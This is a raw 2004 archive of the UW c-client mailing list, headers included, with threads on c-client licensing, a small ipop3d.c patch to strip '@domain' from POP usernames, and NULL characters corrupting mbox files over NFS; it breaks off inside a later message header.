Mon, 11 Oct 2004 02:06:12 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9B96CVK023739 for ; Mon, 11 Oct 2004 02:06:12 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9B96B4X020762 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 11 Oct 2004 02:06:12 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9B95whB015280; Mon, 11 Oct 2004 02:05:59 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9B94Dl7022522 for ; Mon, 11 Oct 2004 02:04:14 -0700 Received: from greyhound.i3micro.se (greyhound.i3micro.se [217.78.34.60]) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with SMTP id i9B94BvK011639 for ; Mon, 11 Oct 2004 02:04:13 -0700 Received: (qmail 1098 invoked by uid 110); 11 Oct 2004 09:04:09 -0000 Received: from pitbull.i3micro.se (HELO ?10.0.0.147?) (217.78.34.62) by greyhound.i3micro.se with SMTP; 11 Oct 2004 09:04:09 -0000 Message-Id: <416A4C89.7050907@i3micro.com> Date: Mon, 11 Oct 2004 11:04:09 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Niklas Fondberg To: c-client@u.washington.edu Subject: license question MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, sv X-Antivirus: Scanned by F-Prot Antivirus (http://www.f-prot.com) X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm wondering about the c-client license... Can I use the unmodified statically linked version of the library in a software without having to publish my source code? /Niklas -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Oct 11 10:57:09 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 11 Oct 2004 10:57:09 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9BHv9NF009181 for ; Mon, 11 Oct 2004 10:57:09 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9BHv7tH019608 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 11 Oct 2004 10:57:08 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9BHuuKs010662; Mon, 11 Oct 2004 10:56:56 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9BHtSfJ031046 for ; Mon, 11 Oct 2004 10:55:28 -0700 Received: from svn.net (svn.net [64.40.160.10]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9BHtRAV024000 for ; Mon, 11 Oct 2004 10:55:28 -0700 Received: from secure.svn.net (nfswww [10.10.84.15]) by svn.net (8.12.11/8.12.10) with ESMTP id i9BHtRpH031895 for ; Mon, 11 Oct 2004 10:55:27 -0700 Received: from 64.40.160.18 (SquirrelMail authenticated user phil); by secure.svn.net with HTTP; Mon, 11 Oct 2004 10:55:37 -0700 (PDT) Message-Id: <1085.64.40.160.18.1097517337.squirrel@64.40.160.18> Date: Mon, 11 Oct 2004 10:55:37 -0700 (PDT) Reply-To: phil@svn.net Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Phil Smith" To: c-client@u.washington.edu Subject: strip @domain from usernames MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) X-Uwash-Spam: Gauge=X, Probability=10%, Report='PRIORITY_NO_NAME 0.716, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_PRIORITY 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm attempting to transition my mail server from another POP server to the POP server included in the UW IMAP distribution. In order to do so, I need to be able to strip "@domain" from usernames. (My current POP server did this out of the box and, unfortunately, a hundred or so users have set up their mail clients to do this) In other words, if a user's client sends "USER user@domain.com" I'd like them to simply be authenticated as "user" Is there a patch or some other simple modification that can be made to achieve this? Thanks, Phil -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Oct 11 12:03:03 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 11 Oct 2004 12:03:03 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9BJ33ju012364 for ; Mon, 11 Oct 2004 12:03:03 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9BJ31Fv021843 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 11 Oct 2004 12:03:02 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9BJ2v94015420; Mon, 11 Oct 2004 12:02:58 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9BJ1VB4008774 for ; Mon, 11 Oct 2004 12:01:31 -0700 Received: from zion.christianserving.org (zion.christianserving.org [216.87.131.106]) by mxe5.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9BJ1UrK018337 for ; Mon, 11 Oct 2004 12:01:30 -0700 Received: by zion.christianserving.org (Postfix, from userid 79) id 8486CC22D3; Mon, 11 Oct 2004 14:01:28 -0500 (CDT) Received: from [158.95.218.118] (escutcheon.verizonis.com [151.138.254.21]) by zion.christianserving.org (Postfix) with ESMTP id 425C5C222B; Mon, 11 Oct 2004 14:01:20 -0500 (CDT) Message-Id: Date: Mon, 11 Oct 2004 14:01:17 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jim Riggs To: phil@svn.net Cc: c-client@u.washington.edu Subject: Re: strip @domain from usernames In-Reply-To: <1085.64.40.160.18.1097517337.squirrel@64.40.160.18> References: <1085.64.40.160.18.1097517337.squirrel@64.40.160.18> Mime-Version: 1.0 (Apple Message framework v619) Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 2.64-2004080502 (2004-01-11) on zion.christianserving.org X-Spam-Level: X-Spam-Status: No, hits=-104.9 required=6.3 tests=BAYES_00,USER_IN_WHITELIST autolearn=ham version=2.64-2004080502 X-Sanitizer: Anomy X-Virus-Scanned: ClamAV X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __MSGID_APPLEMAIL 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > In other > words, if a user's client sends "USER user@domain.com" I'd like them to > simply be authenticated as "user" Is there a patch or some other > simple > modification that can be made to achieve this? Not very robust, but this should do what you want: --- ipop3d.c~ Mon Jun 21 19:58:07 2004 +++ ipop3d.c Mon Oct 11 13:58:13 2004 @@ -268,6 +268,10 @@ host = cpystr (t);/* copy host name */ user = cpystr (s);/* copy user name */ } + else if (s = strchr (t,'@')) { + *s = '\0'; /* tie off user name */ + user = cpystr (t);/* copy user name */ + } /* local user name */ else user = cpystr (t); PSOUT ("+OK User name accepted, password please\015\012"); From pinedev@shivax2.cac.washington.edu Mon Oct 11 13:33:39 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 11 Oct 2004 13:33:39 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9BKXdnp015980 for ; Mon, 11 Oct 2004 13:33:39 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9BKXcEM026596 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 11 Oct 2004 13:33:38 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9BKXYKx012672; Mon, 11 Oct 2004 13:33:35 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9BKWLTA053314 for ; Mon, 11 Oct 2004 13:32:21 -0700 Received: from svn.net (svn.net [64.40.160.10]) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9BKWKe3005240 for ; Mon, 11 Oct 2004 13:32:20 -0700 Received: from [172.16.84.8] (gateway [64.40.160.18]) by svn.net (8.12.11/8.12.10) with ESMTP id i9BKW72s021974; Mon, 11 Oct 2004 13:32:07 -0700 Message-Id: <416AEDE2.8050507@svn.net> Date: Mon, 11 Oct 2004 13:32:34 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Phil To: Jim Riggs Cc: c-client@u.washington.edu Subject: Re: strip @domain from usernames In-Reply-To: References: <1085.64.40.160.18.1097517337.squirrel@64.40.160.18> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Jim Riggs wrote: >> In other >> words, if a user's client sends "USER user@domain.com" I'd like them to >> simply be authenticated as "user" Is there a patch or some other simple >> modification that can be made to achieve this? > > > Not very robust, but this should do what you want: Thanks, I'll give this a try. Out of curiosity, what makes this "not very robust?" Phil From pinedev@shivax2.cac.washington.edu Mon Oct 11 13:52:35 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 11 Oct 2004 13:52:35 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9BKqZV4016837 for ; Mon, 11 Oct 2004 13:52:35 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9BKqXxV028430 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 11 Oct 2004 13:52:34 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9BKqVE2015708; Mon, 11 Oct 2004 13:52:31 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9BKpdkE036350 for ; Mon, 11 Oct 2004 13:51:39 -0700 Received: from zion.christianserving.org (zion.christianserving.org [216.87.131.106]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9BKpcKa014958 for ; Mon, 11 Oct 2004 13:51:39 -0700 Received: by zion.christianserving.org (Postfix, from userid 79) id 7D167C22D3; Mon, 11 Oct 2004 15:51:37 -0500 (CDT) Received: from [158.95.218.118] (escutcheon.verizonis.com [151.138.254.21]) by zion.christianserving.org (Postfix) with ESMTP id 4667AC222B; Mon, 11 Oct 2004 15:51:30 -0500 (CDT) Message-Id: <5079DD71-1BC7-11D9-8845-00039390D5A2@jimandlissa.com> Date: Mon, 11 Oct 2004 15:51:24 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jim Riggs To: Phil Cc: c-client@u.washington.edu Subject: Re: strip @domain from usernames In-Reply-To: <416AEDE2.8050507@svn.net> References: <1085.64.40.160.18.1097517337.squirrel@64.40.160.18> <416AEDE2.8050507@svn.net> Mime-Version: 1.0 (Apple Message framework v619) Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 2.64-2004080502 (2004-01-11) on zion.christianserving.org X-Spam-Level: X-Spam-Status: No, hits=-104.9 required=6.3 tests=BAYES_00,USER_IN_WHITELIST autolearn=ham version=2.64-2004080502 X-Sanitizer: Anomy X-Virus-Scanned: ClamAV X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __MSGID_APPLEMAIL 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 11 Oct, 2004, at 15:32, Phil wrote: > Jim Riggs wrote: > >>> In other >>> words, if a user's client sends "USER user@domain.com" I'd like them >>> to >>> simply be authenticated as "user" Is there a patch or some other >>> simple >>> modification that can be made to achieve this? >> >> >> Not very robust, but this should do what you want: > > > Thanks, I'll give this a try. Out of curiosity, what makes this "not > very robust?" It's just fairly stupid. ;-) All it looks for is an '@' in the username. It doesn't check for a valid domain name or anything like that...just the '@'. It should be fine for what you are trying to do, though. - Jim From pinedev@shivax2.cac.washington.edu Tue Oct 12 13:27:10 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 12 Oct 2004 13:27:10 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9CKRAGN001205 for ; Tue, 12 Oct 2004 13:27:10 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9CKR977011099 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 12 Oct 2004 13:27:09 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9CKQF05015302; Tue, 12 Oct 2004 13:26:15 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9CKNeOS103748 for ; Tue, 12 Oct 2004 13:23:40 -0700 Received: from mailoff.mtu.edu (mailoff.mtu.edu [141.219.70.111]) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9CKNdgu016912 for ; Tue, 12 Oct 2004 13:23:40 -0700 Received: from node6.services.dcsint.mtu.edu (node6.mtu.edu [141.219.69.6]) by mailoff.mtu.edu (8.11.7p1+Sun/8.11.4) with ESMTP id i9CKNbl20182 for ; Tue, 12 Oct 2004 16:23:37 -0400 (EDT) Received: from node34.edge.dcsint.mtu.edu (node34.mtu.edu [141.219.69.34]) by node6.services.dcsint.mtu.edu (8.12.10/8.12.8) with ESMTP id i9CKNbr1027785 for ; Tue, 12 Oct 2004 16:23:37 -0400 Received: from mail.mtu.edu (campus4.mtu.edu [141.219.70.7]) by node34.edge.dcsint.mtu.edu (8.12.11/8.12.11) with ESMTP id i9CKNaIO028717 for ; Tue, 12 Oct 2004 16:23:36 -0400 (envelope-from todd@mtu.edu) Received: from node6.services.dcsint.mtu.edu (node6.mtu.edu [141.219.69.6]) by mail.mtu.edu (8.11.7p1+Sun/8.11.6) with ESMTP id i9CKNaF26548 for ; Tue, 12 Oct 2004 16:23:36 -0400 (EDT) Received: from [141.219.6.44] (deepfriedsugar.dcs.it.mtu.edu [141.219.6.44]) (authenticated bits=0) by node6.services.dcsint.mtu.edu (8.12.10/8.12.3/auth_ssl.mc v1.0) with ESMTP id i9CKNZwU027781 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT) for ; Tue, 12 Oct 2004 16:23:36 -0400 Message-Id: <416C3D4A.6020604@mtu.edu> Date: Tue, 12 Oct 2004 16:23:38 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Todd Piket To: c-client@u.washington.edu Subject: Moving mail to ~user/mbox first goes to /var/mail/user? MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-PMX-Version: 4.7.0.111621, Antispam-Engine: 2.0.0.0, Antispam-Data: 2004.10.12.1 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, We have been having problems with NULL characters in the body of messages at our site. We first suspected procmail, but determined that was not the culprit. Upon further analysis we found that when a user moves and/or copies a message from a folder to his/her INBOX the message first goes to the MAILSPOOL (sysinbox) and then is retrieved from there and placed in mbox. This would normally not be a problem, but it would appear that the server is introducing the null characters when it writes to the MAILSPOOL (/var/mail/user) for a reason I can't seem to determine. Things of note: 1.) /var/mail is NFS mounted (I know, I'm a bad person). 2.) This move operation does not dot lock the /var/mail/user file as a normal "snarf" does. 3.) The null characters are introduced even if procmail is not delivering mail concurrently. Any ideas or workarounds? We are looking at Courier and maildir because our site is fairly big and we need NFS, but we need to work around this problem for the time being. Any suggestions would be helpful. Further notes: All users go to email.mtu.edu which is load balanced through an F5 BigIP to one of 4 UW IMAP servers that NFS mount the MAILSPOOL and user home directories. -- Regards, ------------------------------------------------------------ | Todd Piket | Email: todd@mtu.edu | | Programmer/Analyst | Phone: (906) 487-1720 | | Distributed Computing Services | | | Michigan Technological University | | ------------------------------------------------------------ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Oct 12 13:47:42 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 12 Oct 2004 13:47:42 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9CKlgfK001966 for ; Tue, 12 Oct 2004 13:47:42 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9CKlemV012117 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 12 Oct 2004 13:47:41 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9CKjHhD018322; Tue, 12 Oct 2004 13:45:18 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9CKhA8b109888 for ; Tue, 12 Oct 2004 13:43:10 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9CKh8g3032208 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 12 Oct 2004 13:43:09 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9CKh8Qa015957; Tue, 12 Oct 2004 13:43:08 -0700 Received: from Shimo-Tomobiki.Panda.COM (h108s131a249n47.user.nortelnetworks.com [47.249.131.108]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9CKg2YX030527 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 12 Oct 2004 13:43:06 -0700 Message-Id: Date: Tue, 12 Oct 2004 13:42:10 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Todd Piket Cc: c-client@u.washington.edu Subject: Re: Moving mail to ~user/mbox first goes to /var/mail/user? In-Reply-To: <416C3D4A.6020604@mtu.edu> References: <416C3D4A.6020604@mtu.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 12 Oct 2004, Todd Piket wrote: > 2.) This move operation does not dot lock the /var/mail/user file as a > normal "snarf" does. What is doing this "moving"? It's not c-client, since c-client always dotlocks. > Any ideas or workarounds? We are looking at Courier and maildir Courier is not an IMAP-compliant server. If you must go to maildir, look at Dovecot instead. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Oct 13 06:54:26 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 13 Oct 2004 06:54:26 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9DDsQJe003700 for ; Wed, 13 Oct 2004 06:54:26 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9DDsPoS010887 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 13 Oct 2004 06:54:26 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9DDrVYq013170; Wed, 13 Oct 2004 06:53:31 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9DDqDKE092124 for ; Wed, 13 Oct 2004 06:52:13 -0700 Received: from mailoff.mtu.edu (mailoff.mtu.edu [141.219.70.111]) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9DDqABc000328 for ; Wed, 13 Oct 2004 06:52:11 -0700 Received: from node5.services.dcsint.mtu.edu (node5.mtu.edu [141.219.69.5]) by mailoff.mtu.edu (8.11.7p1+Sun/8.11.4) with ESMTP id i9DDq9l29163 for ; Wed, 13 Oct 2004 09:52:10 -0400 (EDT) Received: from node2.edge.dcsint.mtu.edu (node2.mtu.edu [141.219.69.2]) by node5.services.dcsint.mtu.edu (8.12.10/8.12.8) with ESMTP id i9DDq9X9008726 for ; Wed, 13 Oct 2004 09:52:09 -0400 Received: from mail.mtu.edu (campus4.mtu.edu [141.219.70.7]) by node2.edge.dcsint.mtu.edu (8.12.11/8.12.11) with ESMTP id i9DDq8MQ029291 for ; Wed, 13 Oct 2004 09:52:08 -0400 (envelope-from todd@mtu.edu) Received: from node6.services.dcsint.mtu.edu (node6.mtu.edu [141.219.69.6]) by mail.mtu.edu (8.11.7p1+Sun/8.11.6) with ESMTP id i9DDq8F08517 for ; Wed, 13 Oct 2004 09:52:08 -0400 (EDT) Received: from [141.219.6.44] (deepfriedsugar.dcs.it.mtu.edu [141.219.6.44]) (authenticated bits=0) by node6.services.dcsint.mtu.edu (8.12.10/8.12.3/auth_ssl.mc v1.0) with ESMTP id i9DDq7wU028347 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT) for ; Wed, 13 Oct 2004 09:52:08 -0400 Message-Id: <416D330C.3070302@mtu.edu> Date: Wed, 13 Oct 2004 09:52:12 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Todd Piket To: c-client@u.washington.edu Subject: Re: Moving mail to ~user/mbox first goes to /var/mail/user? MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-PMX-Version: 4.7.0.111621, Antispam-Engine: 2.0.0.0, Antispam-Data: 2004.10.12.6 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > What is doing this "moving"? It's not c-client, since c-client always > dotlocks. My mistake. After watching the NFS packets we see the server/c-client definitely creates the lock. This makes sense to me anyway since what we are seeing doesn't appear to be a lock contention issue. The problem occurs if a mail client moves a message from one folder to "INBOX". At this point the IMAP server puts the message into MAILSPOOL/user (/var/mail/user) and then snarfs it back to the mbox. It's during this operation that we see the introduction of a significant number of null characters into the message, sometimes over 5MB (yes megabytes). The nulls always occur right before the From line of a message though they aren't always introduced. It's very strange behavior. I'm not entirely convinced the IMAP server alone is the problem, but after much analysis it and NFS are the only places to look. I forgot to mention in my last mention that this is imap-2002d. Is this possibly fixed in 2004a? Thanks for the quick reply. > Courier is not an IMAP-compliant server. If you must go to maildir, > look at Dovecot instead. Thanks for the tip. I've been hearing a lot about Dovecot and will check it out. -- Regards, ------------------------------------------------------------ | Todd Piket | Email: todd@mtu.edu | | Programmer/Analyst | Phone: (906) 487-1720 | | Distributed Computing Services | | | Michigan Technological University | | ------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Oct 13 22:10:18 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 13 Oct 2004 22:10:18 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9E5AIuQ004157 for ; Wed, 13 Oct 2004 22:10:18 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9E5AGmG010841 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 13 Oct 2004 22:10:16 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9E57S1Y010786; Wed, 13 Oct 2004 22:07:29 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9E55QYW036234 for ; Wed, 13 Oct 2004 22:05:26 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9E55P9Z001364 (version=TLSv1/SSLv3 